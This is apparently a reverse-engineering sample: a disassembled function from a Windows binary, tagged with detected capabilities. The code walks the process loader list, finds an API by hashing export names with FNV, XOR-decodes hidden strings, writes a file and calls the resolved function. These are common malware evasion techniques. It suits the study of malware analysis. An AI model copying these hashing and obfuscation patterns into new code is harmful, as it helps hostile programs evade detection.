Function at 0x1800228a0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
movaps xmmword [rsp + 0x70], xmm6
lea rax, [rbp - 0x50]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor ebx, ebx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
lea r14, [0x1801c2770]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [r14 + r8], bl
jne 0x1800228e7
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.180017e90
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
lea rsi, [0x1801c2760]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x180022913
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.180017e90
nop
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x30]
lea rcx, [0x1801c2820]
call fcn.180004740
cmp byte [0x1801c2a58], 0
je 0x1800229fd
mov eax, dword [0x18015b700]
mov dword [rbp + 0x20], eax
movzx eax, word [0x18015b704]
mov word [rbp + 0x24], ax
mov byte [rbp + 0x20], Ordinal_79
xor byte [rbp + 0x21], 0x33
xor byte [rbp + 0x22], 0x34
xor byte [rbp + 0x23], 0x35
xor al, 0x36
mov byte [rbp + 0x24], al
xor byte [rbp + 0x25], 0x37
lea r8, [0x18015b718]
lea rdx, [rbp + 0x20]
lea rcx, [0x1801c27b8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x1801c27b8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov r9, qword [0x1801c27b8]
mov ebx, 1
mov r8d, ebx
lea edx, [rbx + 9]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [0x1801c27b8]
mov r8d, ebx
lea edx, [rbx + 9]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [0x1801c27b8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov byte [0x1801c2ff8], bl
mov dword [0x1801c2b30], ebx
mov dword [0x1801c2b2c], 3
jmp 0x180022c5e
mov r10, qword [0x1801c3018]
test r10, r10
jne 0x180022ac7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x180022aa7
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x180022aa7
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x180022aa2
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x180022a80
cmp edx, 0x23a979e4
je 0x180022c7b
test r8d, r8d
jne 0x180022a60
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x180022abd
cmp qword [rax + 0x30], 0
jne 0x180022a30
mov r10, rbx
mov qword [0x1801c3018], r10
mov eax, dword [0x18015b710]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x18015b714]
movsd xmm0, qword [str.tR_YSS]
mov byte [rbp - 0x54], al
movsd qword [rbp - 0x60], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x180022bfe
movdqa xmm4, xmmword [0x18015ba50]
mov ebx, 1
movd xmm6, ebx
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x18015ba10]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015ba30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18015ba40]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x18015ba60]
movd xmm0, dword [str.tR_YSS]
pxor xmm2, xmm0
movd dword [rbp - 0x60], xmm2
movdqa xmm3, xmmword [0x18015ba20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015ba30]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18015ba40]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x18015ba60]
movd xmm0, dword [rbp - 0x5c]
pxor xmm2, xmm0
movd dword [rbp - 0x5c], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x180022c10
lea rdx, [0x1801c2a60]
cmp qword [0x1801c2a78], 0x10
cmovae rdx, qword [0x1801c2a60]
xor r9d, r9d
lea r8, [rbp - 0x60]
xor ecx, ecx
call r10
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
movaps xmm6, xmmword [rsp + 0x70]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x180022ac0